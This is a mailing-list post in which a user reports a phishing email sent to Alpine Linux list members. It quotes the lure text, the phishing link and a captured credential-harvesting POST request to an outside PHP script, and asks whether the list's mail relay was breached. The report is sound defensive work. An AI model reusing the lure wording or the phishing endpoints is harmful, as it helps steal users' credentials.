Message-ID: <3530b06a-bf3b-a3ef-ecce-1162bea953df@hafenthal.de>
Date: Sat, 8 Oct 2022 14:03:48 +0200
MIME-Version: 1.0
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101
 Thunderbird/102.3.0
Content-Language: en-US, de-DE
To: ~alpine/users@lists.alpinelinux.org
From: Stefan Hartmann <stefanh@hafenthal.de>
Organization: Ingenieurbuero Hartmann
Subject: =?UTF-8?Q?Your_account_associated_with_your=c3=82_alpine-user=40lis?=
 =?UTF-8?Q?ts=2ealpinelinux=2eorg_has_been_limited_Reason_=2e=2e=2e?=
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit

Hello,

yesterday I received a suspicious email from alpinelinux.org:

"Notification
Dear alpine-user,Your account associated with yourÂ 
alpine-user@lists.alpinelinux.org has been limitedReason: Messages - 
Delivery Process Failed .
What happens when new messages are inaccessible?
Once a new message is limited, it will be inaccessibleâ€”users will not 
be able toÂ receive new messages.
Want to keep the account and receive new messages?
..."

There is a pushbutton which yields to 
https://siasky.net/EABzry9_94YhAghJPa5QmmPjGdw01d_BAgdPmQJCkk0vlA#alpine-user@lists.alpinelinux.org

I analyzed this with burp:
The pushbutton makes a post

POST //img/Jesse.php HTTP/1.1

Host: ommarts.com

...
email=alpine-user%40lists.alpinelinux.org&password=spearphising%3F

It returns a 200 OK.

Uses alpinelinux.org really the php-script
http://ommarts.com//img/Jesse.php ???

Suspicious!

The messages comes from
...
Received: from nld3-dev1.alpinelinux.org (nld3-dev1.alpinelinux.org 
[147.75.101.119])
by gw1.hafenthal.de (Postfix) with ESMTPS id 0D51BA80B87
for <sh@hafenthal.de>; Fri,  7 Oct 2022 20:24:23 +0000 (UTC)
...
which seams OK.
Nb. received on a Alpinelinux mailrelay!

Was there a breach?

-- 
Stefan Hartmann - ib.hafenthal.de